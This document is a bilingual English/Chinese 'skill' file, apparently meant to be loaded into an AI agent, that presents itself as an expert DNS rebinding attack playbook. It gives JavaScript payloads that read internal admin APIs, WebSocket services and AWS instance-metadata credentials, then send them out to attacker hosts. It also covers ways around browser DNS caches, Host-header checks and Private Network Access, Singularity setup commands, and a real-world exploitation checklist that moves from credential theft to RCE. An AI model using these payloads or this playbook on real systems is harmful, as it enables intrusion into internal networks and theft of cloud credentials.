dns-rebinding-attacks
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: DNS Rebinding — Expert Attack Playbook
技能:DNS Rebinding — 高级攻击手册
AI LOAD INSTRUCTION: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SSRF — this skill clarifies the client-side nature and unique exploit paths.
AI加载说明:通过DNS操纵绕过同源策略的高级DNS重绑定技术,涵盖TTL技巧、浏览器缓存绕过、攻击变种(HTTP、WebSocket、TOCTOU)、内部服务靶向利用以及工具使用。基础大模型常将DNS重绑定与SSRF混淆,本技能明确了其客户端属性与独特的利用路径。
0. RELATED ROUTING
0. 相关关联技能
- ssrf-server-side-request-forgery — server-side variant; DNS rebinding is the client-side counterpart
- cors-cross-origin-misconfiguration — when CORS misconfig allows direct cross-origin reads instead
- ssrf-server-side-request-forgery — 服务端变体;DNS重绑定是其客户端对应攻击方式
- cors-cross-origin-misconfiguration — 当CORS配置错误允许直接跨域读取时可使用该技能
1. CORE PRINCIPLE
1. 核心原理
The browser same-origin policy binds . The host is resolved via DNS at connection time. If an attacker controls the DNS server for , they can:
protocol + host + portattacker.com- First resolution → attacker IP (serve malicious JS)
- Second resolution → internal IP (victim's network)
- Browser considers both responses same-origin ()
attacker.com - Malicious JS reads responses from internal services
Victim visits attacker.com
│
▼
DNS query: attacker.com → 1.2.3.4 (attacker server)
Browser loads malicious JS from 1.2.3.4
│
▼
TTL expires (or forced flush)
│
▼
JS triggers new request to attacker.com
DNS query: attacker.com → 192.168.1.1 (internal target)
Browser sends request to 192.168.1.1 as "attacker.com" origin
│
▼
JS reads response — same-origin policy satisfied
Exfiltrates data to attacker's other endpointKey insight: SOP checks the hostname string, not the resolved IP. DNS can change the IP behind the same hostname.
浏览器同源策略基于进行绑定,其中主机在建立连接时通过DNS解析得到。如果攻击者控制了的DNS服务器,就可以:
协议 + 主机 + 端口attacker.com- 第一次解析 → 攻击者IP(投放恶意JS)
- 第二次解析 → 内网IP(受害者所在网络的目标地址)
- 浏览器认为两次响应都属于同源(域名都是)
attacker.com - 恶意JS可以读取内部服务返回的响应内容
Victim visits attacker.com
│
▼
DNS query: attacker.com → 1.2.3.4 (attacker server)
Browser loads malicious JS from 1.2.3.4
│
▼
TTL expires (or forced flush)
│
▼
JS triggers new request to attacker.com
DNS query: attacker.com → 192.168.1.1 (internal target)
Browser sends request to 192.168.1.1 as "attacker.com" origin
│
▼
JS reads response — same-origin policy satisfied
Exfiltrates data to attacker's other endpoint核心要点:同源策略检查的是主机名字符串,而非解析后的IP,DNS可以在相同主机名背后切换对应的IP地址。
2. TTL MANIPULATION
2. TTL操纵
DNS server configuration
DNS服务器配置
The attacker runs an authoritative DNS server for their domain that alternates responses:
| Query # | Response | TTL |
|---|---|---|
| 1st | Attacker IP (e.g., | 0 |
| 2nd+ | Target internal IP (e.g., | 0 |
TTL=0 tells resolvers not to cache the result, forcing re-resolution on next connection.
攻击者运行自己域名的权威DNS服务器,交替返回不同的解析结果:
| 查询次数 | 响应内容 | TTL |
|---|---|---|
| 第1次 | 攻击者IP(例如 | 0 |
| 第2次及以后 | 目标内网IP(例如 | 0 |
TTL=0会告知解析器不要缓存解析结果,强制下一次连接时重新解析域名。
Browser DNS cache reality
浏览器DNS缓存实际表现
Browsers maintain their own DNS cache that ignores low TTLs:
| Browser | Internal DNS Cache | Bypass Technique |
|---|---|---|
| Chrome | ~60 seconds minimum | Wait 60s; or use multiple subdomains |
| Firefox | ~60 seconds (network.dnsCacheExpiration) | Adjustable in about:config |
| Safari | ~varies | Generally shorter cache |
| Edge (Chromium) | Same as Chrome (~60s) | Same techniques as Chrome |
浏览器会维护自己的DNS缓存,且会忽略极低的TTL值:
| 浏览器 | 内部DNS缓存时长 | 绕过技术 |
|---|---|---|
| Chrome | 最低约60秒 | 等待60秒;或使用多个子域名 |
| Firefox | 约60秒(可通过network.dnsCacheExpiration配置) | 可在about:config中调整配置 |
| Safari | 不固定 | 通常缓存时长更短 |
| Edge(Chromium内核) | 和Chrome一致(约60秒) | 和Chrome相同的绕过技术 |
Bypass strategies
绕过策略
1. Multiple A records technique:
- Return BOTH attacker IP and target IP in single DNS response
- Browser tries first IP; if connection fails → falls back to second
- Block attacker IP after initial page load → forces fallback to internal IP
2. Subdomain flooding:
- Use unique subdomains: a1.rebind.attacker.com, a2.rebind.attacker.com...
- Each subdomain gets fresh DNS resolution (no cache hit)
3. Service worker flush:
- Register service worker that intercepts and delays requests
- By the time fetch executes, DNS cache has expired1. 多A记录技术:
- 在单次DNS响应中同时返回攻击者IP和目标IP
- 浏览器会优先尝试第一个IP;如果连接失败 → 自动回退到第二个IP
- 初始页面加载完成后屏蔽受害者对攻击者IP的访问 → 强制回退到内网IP
2. 子域名泛洪:
- 使用唯一的子域名:a1.rebind.attacker.com, a2.rebind.attacker.com...
- 每个子域名都会触发全新的DNS解析(不会命中缓存)
3. Service Worker刷新:
- 注册Service Worker拦截并延迟请求
- 当fetch执行时,DNS缓存已经过期3. ATTACK VARIANTS
3. 攻击变种
3.1 Classic HTTP Rebinding
3.1 经典HTTP重绑定
Target: internal web services (admin panels, REST APIs)
javascript
// Served from attacker.com (first DNS resolution → attacker IP)
async function exploit() {
// Wait for DNS cache to expire
await sleep(65000); // >60s for Chrome
// This request now resolves to internal IP
const resp = await fetch('http://attacker.com:8080/api/admin/users');
const data = await resp.text();
// Exfiltrate to different attacker endpoint
navigator.sendBeacon('https://exfil.attacker.com/log', data);
}目标:内部Web服务(管理后台、REST API)
javascript
// Served from attacker.com (first DNS resolution → attacker IP)
async function exploit() {
// Wait for DNS cache to expire
await sleep(65000); // >60s for Chrome
// This request now resolves to internal IP
const resp = await fetch('http://attacker.com:8080/api/admin/users');
const data = await resp.text();
// Exfiltrate to different attacker endpoint
navigator.sendBeacon('https://exfil.attacker.com/log', data);
}3.2 WebSocket Rebinding
3.2 WebSocket重绑定
WebSocket connections persist after DNS rebinding. Establish WS, then rebind:
javascript
// After rebinding, WebSocket connects to internal service
const ws = new WebSocket('ws://attacker.com:9090/ws');
ws.onopen = () => {
ws.send('{"action":"dump_config"}');
};
ws.onmessage = (e) => {
fetch('https://exfil.attacker.com/ws-data', {
method: 'POST',
body: e.data
});
};WebSocket连接在DNS重绑定后会保持连接,先建立WS连接再执行重绑定:
javascript
// After rebinding, WebSocket connects to internal service
const ws = new WebSocket('ws://attacker.com:9090/ws');
ws.onopen = () => {
ws.send('{"action":"dump_config"}');
};
ws.onmessage = (e) => {
fetch('https://exfil.attacker.com/ws-data', {
method: 'POST',
body: e.data
});
};3.3 Time-of-Check-to-Time-of-Use (TOCTOU)
3.3 检查时间-使用时间差(TOCTOU)攻击
Server-side applications that validate DNS at request time but reuse the connection:
1. Application receives URL: http://attacker.com/callback
2. Server resolves attacker.com → 1.2.3.4 (public IP) → passes validation
3. Server opens connection / follows redirect
4. DNS changes: attacker.com → 169.254.169.254
5. Connection reuse or redirect hits internal IPThis is a hybrid with SSRF — the rebinding happens in the server's resolver.
服务端应用在请求时验证DNS结果,但后续会复用连接:
1. Application receives URL: http://attacker.com/callback
2. Server resolves attacker.com → 1.2.3.4 (public IP) → passes validation
3. Server opens connection / follows redirect
4. DNS changes: attacker.com → 169.254.169.254
5. Connection reuse or redirect hits internal IP这是和SSRF的混合变种,重绑定发生在服务端的DNS解析器中。
3.4 Multiple A Records (Fastest Variant)
3.4 多A记录(最快变种)
DNS response for attacker.com:
A 1.2.3.4 (attacker — serves JS)
A 192.168.1.1 (target — internal service)
1. Browser connects to 1.2.3.4, loads page with JS
2. Attacker firewall blocks further connections from victim to 1.2.3.4
3. JS makes new request to attacker.com
4. Browser tries 1.2.3.4 → connection refused
5. Falls back to 192.168.1.1 → still same origin
6. Response readable by JSDNS response for attacker.com:
A 1.2.3.4 (attacker — serves JS)
A 192.168.1.1 (target — internal service)
1. Browser connects to 1.2.3.4, loads page with JS
2. Attacker firewall blocks further connections from victim to 1.2.3.4
3. JS makes new request to attacker.com
4. Browser tries 1.2.3.4 → connection refused
5. Falls back to 192.168.1.1 → still same origin
6. Response readable by JS4. HIGH-VALUE TARGETS
4. 高价值目标
| Target | Port | Why |
|---|---|---|
| Cloud metadata | | AWS/GCP/Azure instance credentials, tokens |
| Docker API | | Container creation, host filesystem mount → RCE |
| Kubernetes API | | Pod creation, secret reading |
| Internal admin panels | Various | Router config, NAS, printer, SCADA |
| IoT devices | | Camera feeds, smart home control |
| Elasticsearch | | Data exfiltration, index manipulation |
| Redis | | Data read, config set for RCE |
| Consul/etcd | | Service discovery, secret storage |
| 目标 | 端口 | 利用价值 |
|---|---|---|
| 云服务元数据 | | AWS/GCP/Azure实例凭证、令牌 |
| Docker API | | 容器创建、宿主机文件系统挂载 → 远程代码执行 |
| Kubernetes API | | Pod创建、Secret读取 |
| 内部管理后台 | 不固定 | 路由器配置、NAS、打印机、SCADA系统 |
| IoT设备 | | 摄像头画面、智能家居控制 |
| Elasticsearch | | 数据窃取、索引操纵 |
| Redis | | 数据读取、修改配置实现远程代码执行 |
| Consul/etcd | | 服务发现数据、秘钥存储 |
Cloud metadata specific
云服务元数据专属利用
javascript
// AWS metadata via rebinding
fetch('http://attacker.com/latest/meta-data/iam/security-credentials/')
.then(r => r.text())
.then(role => {
return fetch(`http://attacker.com/latest/meta-data/iam/security-credentials/${role}`);
})
.then(r => r.json())
.then(creds => {
navigator.sendBeacon('https://exfil.attacker.com/', JSON.stringify(creds));
});
// After rebinding, attacker.com resolves to 169.254.169.254
// Browser sends Host: attacker.com but IMDSv1 doesn't check Host headerIMDSv2 defense: requires header from PUT request. Rebinding cannot easily set custom headers on the initial token request in mode.
X-aws-ec2-metadata-tokenno-corsjavascript
// AWS metadata via rebinding
fetch('http://attacker.com/latest/meta-data/iam/security-credentials/')
.then(r => r.text())
.then(role => {
return fetch(`http://attacker.com/latest/meta-data/iam/security-credentials/${role}`);
})
.then(r => r.json())
.then(creds => {
navigator.sendBeacon('https://exfil.attacker.com/', JSON.stringify(creds));
});
// After rebinding, attacker.com resolves to 169.254.169.254
// Browser sends Host: attacker.com but IMDSv1 doesn't check Host headerIMDSv2防护:要求PUT请求携带请求头,重绑定在模式下很难在初始令牌请求中设置自定义请求头。
X-aws-ec2-metadata-tokenno-cors5. TOOLS
5. 工具
| Tool | Purpose | URL |
|---|---|---|
| Singularity | Full DNS rebinding attack framework | github.com/nccgroup/singularity |
| rbndr.us | Quick rebind DNS service (IP pair in subdomain) | rbndr.us |
| whonow | Dynamic DNS rebinding server | github.com/taviso/whonow |
| dnsrebinder | Minimal Python DNS server for rebinding | Custom / various repos |
| 工具 | 用途 | 地址 |
|---|---|---|
| Singularity | 完整的DNS重绑定攻击框架 | github.com/nccgroup/singularity |
| rbndr.us | 快速重绑定DNS服务(子域名中携带IP对) | rbndr.us |
| whonow | 动态DNS重绑定服务器 | github.com/taviso/whonow |
| dnsrebinder | 极简Python DNS重绑定服务器 | 自定义/各类开源仓库 |
Singularity quick start
Singularity快速入门
bash
undefinedbash
undefinedClone and run
Clone and run
git clone https://github.com/nccgroup/singularity
cd singularity
go build -o singularity cmd/singularity-server/main.go
git clone https://github.com/nccgroup/singularity
cd singularity
go build -o singularity cmd/singularity-server/main.go
Start with rebind from attacker IP to target IP
Start with rebind from attacker IP to target IP
./singularity -DNSRebindStrategy round-robin
-ResponseIPAddr 1.2.3.4
-RebindingFn sequential
-ResponseReboundIPAddr 192.168.1.1
-ResponseIPAddr 1.2.3.4
-RebindingFn sequential
-ResponseReboundIPAddr 192.168.1.1
undefined./singularity -DNSRebindStrategy round-robin
-ResponseIPAddr 1.2.3.4
-RebindingFn sequential
-ResponseReboundIPAddr 192.168.1.1
-ResponseIPAddr 1.2.3.4
-RebindingFn sequential
-ResponseReboundIPAddr 192.168.1.1
undefinedrbndr.us (zero-setup)
rbndr.us(零配置)
Format: <hex-ip1>.<hex-ip2>.rbndr.us
Example: 7f000001.c0a80101.rbndr.us
→ alternates between 127.0.0.1 and 192.168.1.1
Convert IP to hex:
192.168.1.1 → c0.a8.01.01 → c0a80101
127.0.0.1 → 7f.00.00.01 → 7f000001Format: <hex-ip1>.<hex-ip2>.rbndr.us
Example: 7f000001.c0a80101.rbndr.us
→ alternates between 127.0.0.1 and 192.168.1.1
Convert IP to hex:
192.168.1.1 → c0.a8.01.01 → c0a80101
127.0.0.1 → 7f.00.00.01 → 7f0000016. DNS REBINDING vs. SSRF
6. DNS重绑定 vs. SSRF
| Aspect | DNS Rebinding | SSRF |
|---|---|---|
| Execution context | Client-side (browser) | Server-side |
| Origin bypass | Same-origin policy | Network access controls |
| Attacker controls | DNS resolution | URL/request sent by server |
| Requires | Victim visits attacker page | Vulnerable server-side fetch |
| Internal access via | Browser on victim's network | Server's network position |
| Credential inclusion | Browser cookies auto-included | No user credentials |
| Protocol support | HTTP/WS (browser-limited) | Any protocol (gopher, file, etc.) |
Critical difference: DNS rebinding leverages the victim's browser as the pivot point, so it accesses services visible from the victim's network, with the victim's cookies/credentials.
| 维度 | DNS重绑定 | SSRF |
|---|---|---|
| 执行上下文 | 客户端(浏览器) | 服务端 |
| 绕过的限制 | 同源策略 | 网络访问控制 |
| 攻击者可控部分 | DNS解析 | 服务端发送的URL/请求 |
| 前置要求 | 受害者访问攻击者页面 | 存在漏洞的服务端请求逻辑 |
| 内网访问入口 | 受害者网络中的浏览器 | 服务端的网络位置 |
| 凭证携带 | 自动携带浏览器Cookie | 不包含用户凭证 |
| 协议支持 | HTTP/WS(受浏览器限制) | 任意协议(gopher、file等) |
核心差异:DNS重绑定以受害者的浏览器作为跳板,因此可以访问受害者网络中可见的服务,并且会自动携带受害者的Cookie/凭证。
7. DEFENSES AND DEFENSE BYPASS
7. 防护与绕过方法
Common defenses
常见防护手段
| Defense | How it works |
|---|---|
| DNS pinning | Browser/resolver caches DNS and refuses re-resolution |
| Host header validation | Server rejects requests with unexpected Host header |
| Network segmentation | Internal services not reachable from browser network |
| Private network access (PNA) | Chrome's proposal: preflight for requests to private IPs |
| Authentication on internal services | Internal services require auth, not just network access |
| 防护手段 | 实现原理 |
|---|---|
| DNS固定 | 浏览器/解析器缓存DNS结果,拒绝重新解析 |
| Host头校验 | 服务端拒绝携带意外Host头的请求 |
| 网络分段 | 内部服务无法从浏览器所在网络访问 |
| 私有网络访问(PNA) | Chrome提出的规范:向私有IP发起请求前需要预检 |
| 内部服务鉴权 | 内部服务要求身份验证,而非仅依赖网络访问权限 |
Defense bypass techniques
防护绕过技术
DNS pinning bypass:
├── Multiple A records → connection failure forces fallback
├── Subdomain per request → no cache hit
├── Wait for cache expiry (Chrome: 60s)
└── Rebind via CNAME chain (harder to pin)
Host header validation bypass:
├── Internal service may not check Host header at all
├── Host: attacker.com accepted by default configs
├── IP-based vhosts don't check Host
└── Wildcard vhost configurations
Private Network Access (PNA) bypass:
├── PNA only in Chrome (as of 2024), partial enforcement
├── WebSocket connections may not trigger preflight
├── HTTPS → HTTP downgrade scenarios
└── Non-browser clients unaffectedDNS固定绕过:
├── 多A记录 → 连接失败强制回退
├── 每个请求使用独立子域名 → 不会命中缓存
├── 等待缓存过期(Chrome: 60秒)
└── 通过CNAME链进行重绑定(更难被固定)
Host头校验绕过:
├── 内部服务可能根本不检查Host头
├── 默认配置会接受Host: attacker.com
├── 基于IP的虚拟主机不会检查Host头
└── 通配符虚拟主机配置
私有网络访问(PNA)绕过:
├── 截至2024年仅Chrome支持PNA,且仅部分强制启用
├── WebSocket连接可能不会触发预检
├── HTTPS → HTTP降级场景
└── 非浏览器客户端不受影响8. DECISION TREE
8. 决策树
Want to access internal services from victim's browser?
│
├── Can you get victim to visit your page?
│ ├── YES → DNS rebinding is viable
│ │ │
│ │ ├── What is the target?
│ │ │ ├── HTTP service → Classic rebinding (Section 3.1)
│ │ │ ├── WebSocket service → WS rebinding (Section 3.2)
│ │ │ └── Cloud metadata → Metadata exfil (Section 4)
│ │ │
│ │ ├── Browser cache concern?
│ │ │ ├── Chrome → Wait 60s or use multiple subdomains
│ │ │ ├── Firefox → Wait 60s or adjust dnsCacheExpiration
│ │ │ └── Use multiple A records technique for instant rebind
│ │ │
│ │ ├── Target checks Host header?
│ │ │ ├── YES → Rebinding alone won't work
│ │ │ │ └── Check for SSRF instead (../ssrf-server-side-request-forgery/)
│ │ │ └── NO → Proceed with rebinding
│ │ │
│ │ └── Need credentials?
│ │ ├── Browser auto-sends cookies → works if same-site allows
│ │ └── Custom auth header needed → limited (no-cors won't send custom headers)
│ │
│ └── NO → DNS rebinding not applicable
│ └── Consider SSRF if server-side fetch exists
│
└── Is this server-side DNS validation bypass? (TOCTOU)
├── YES → Hybrid approach (Section 3.3)
│ └── SSRF with DNS rebinding for IP validation bypass
└── NO → Review ../ssrf-server-side-request-forgery/ insteadWant to access internal services from victim's browser?
│
├── Can you get victim to visit your page?
│ ├── YES → DNS rebinding is viable
│ │ │
│ │ ├── What is the target?
│ │ │ ├── HTTP service → Classic rebinding (Section 3.1)
│ │ │ ├── WebSocket service → WS rebinding (Section 3.2)
│ │ │ └── Cloud metadata → Metadata exfil (Section 4)
│ │ │
│ │ ├── Browser cache concern?
│ │ │ ├── Chrome → Wait 60s or use multiple subdomains
│ │ │ ├── Firefox → Wait 60s or adjust dnsCacheExpiration
│ │ │ └── Use multiple A records technique for instant rebind
│ │ │
│ │ ├── Target checks Host header?
│ │ │ ├── YES → Rebinding alone won't work
│ │ │ │ └── Check for SSRF instead (../ssrf-server-side-request-forgery/)
│ │ │ └── NO → Proceed with rebinding
│ │ │
│ │ └── Need credentials?
│ │ ├── Browser auto-sends cookies → works if same-site allows
│ │ └── Custom auth header needed → limited (no-cors won't send custom headers)
│ │
│ └── NO → DNS rebinding not applicable
│ └── Consider SSRF if server-side fetch exists
│
└── Is this server-side DNS validation bypass? (TOCTOU)
├── YES → Hybrid approach (Section 3.3)
│ └── SSRF with DNS rebinding for IP validation bypass
└── NO → Review ../ssrf-server-side-request-forgery/ instead9. REAL-WORLD EXPLOITATION CHECKLIST
9. 实战利用检查清单
□ Set up DNS rebinding infrastructure (Singularity / rbndr.us / custom)
□ Identify target internal services (port scan from victim context if possible)
□ Determine browser DNS cache duration for target browser
□ Choose rebinding variant (classic / multi-A / subdomain flood)
□ Test with benign internal endpoint first (e.g., / on router)
□ Verify same-origin read works after rebind
□ Escalate: cloud metadata → creds, Docker API → RCE, admin panels → config
□ Document: attacker.com DNS config, JS payload, rebind timing, exfil data□ 搭建DNS重绑定基础设施(Singularity / rbndr.us / 自定义)
□ 识别目标内部服务(如果可能的话从受害者上下文进行端口扫描)
□ 确定目标浏览器的DNS缓存时长
□ 选择重绑定变种(经典/多A记录/子域名泛洪)
□ 先用无害的内部端点测试(例如路由器的/根路径)
□ 验证重绑定后同源读取功能正常
□ 权限提升:云元数据 → 凭证、Docker API → 远程代码执行、管理后台 → 配置修改
□ 记录内容:attacker.com DNS配置、JS payload、重绑定时机、窃取的数据